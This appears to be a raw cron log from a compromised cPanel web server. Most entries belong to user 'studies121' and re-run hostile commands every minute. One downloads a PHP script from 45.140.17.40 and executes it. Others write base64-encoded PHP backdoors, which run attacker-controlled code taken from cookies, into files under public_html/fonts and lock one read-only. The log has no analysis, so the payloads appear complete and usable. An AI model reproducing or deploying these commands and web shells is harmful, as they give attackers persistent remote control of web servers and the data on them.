Sep 20 15:08:01 ip-184-168-122-23 CROND[7983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:09:01 ip-184-168-122-23 CROND[8314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:09:01 ip-184-168-122-23 CROND[8316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:09:01 ip-184-168-122-23 CROND[8318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:09:01 ip-184-168-122-23 CROND[8321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:09:01 ip-184-168-122-23 CROND[8320]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:10:01 ip-184-168-122-23 CROND[8667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:10:01 ip-184-168-122-23 CROND[8673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:11:01 ip-184-168-122-23 CROND[8923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:11:01 ip-184-168-122-23 CROND[8925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:11:01 ip-184-168-122-23 CROND[8927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:11:01 ip-184-168-122-23 CROND[8926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:12:01 ip-184-168-122-23 CROND[9196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:12:01 ip-184-168-122-23 CROND[9201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:12:01 ip-184-168-122-23 CROND[9199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:12:01 ip-184-168-122-23 CROND[9202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:12:01 ip-184-168-122-23 CROND[9200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:13:01 ip-184-168-122-23 CROND[9633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:13:01 ip-184-168-122-23 CROND[9632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:13:01 ip-184-168-122-23 CROND[9631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:13:01 ip-184-168-122-23 CROND[9634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:14:01 ip-184-168-122-23 CROND[10019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:14:01 ip-184-168-122-23 CROND[10021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:14:01 ip-184-168-122-23 CROND[10023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:14:01 ip-184-168-122-23 CROND[10022]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:14:01 ip-184-168-122-23 CROND[10024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:15:01 ip-184-168-122-23 CROND[10448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:15:01 ip-184-168-122-23 CROND[10452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:15:01 ip-184-168-122-23 CROND[10453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:15:01 ip-184-168-122-23 CROND[10454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:15:01 ip-184-168-122-23 CROND[10451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:15:01 ip-184-168-122-23 CROND[10455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:16:01 ip-184-168-122-23 CROND[10906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:16:01 ip-184-168-122-23 CROND[10908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:16:01 ip-184-168-122-23 CROND[10910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:16:01 ip-184-168-122-23 CROND[10909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:16:01 ip-184-168-122-23 CROND[10911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:16:01 ip-184-168-122-23 CROND[10912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 15:17:01 ip-184-168-122-23 CROND[11190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:17:01 ip-184-168-122-23 CROND[11191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:17:01 ip-184-168-122-23 CROND[11194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:17:01 ip-184-168-122-23 CROND[11195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:18:01 ip-184-168-122-23 CROND[11531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:18:01 ip-184-168-122-23 CROND[11530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:18:01 ip-184-168-122-23 CROND[11533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:18:01 ip-184-168-122-23 CROND[11535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:18:01 ip-184-168-122-23 CROND[11536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:19:01 ip-184-168-122-23 CROND[11787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:19:01 ip-184-168-122-23 CROND[11788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:19:01 ip-184-168-122-23 CROND[11791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:19:01 ip-184-168-122-23 CROND[11790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:20:01 ip-184-168-122-23 CROND[12018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:20:01 ip-184-168-122-23 CROND[12021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12022]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12026]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:20:01 ip-184-168-122-23 CROND[12027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
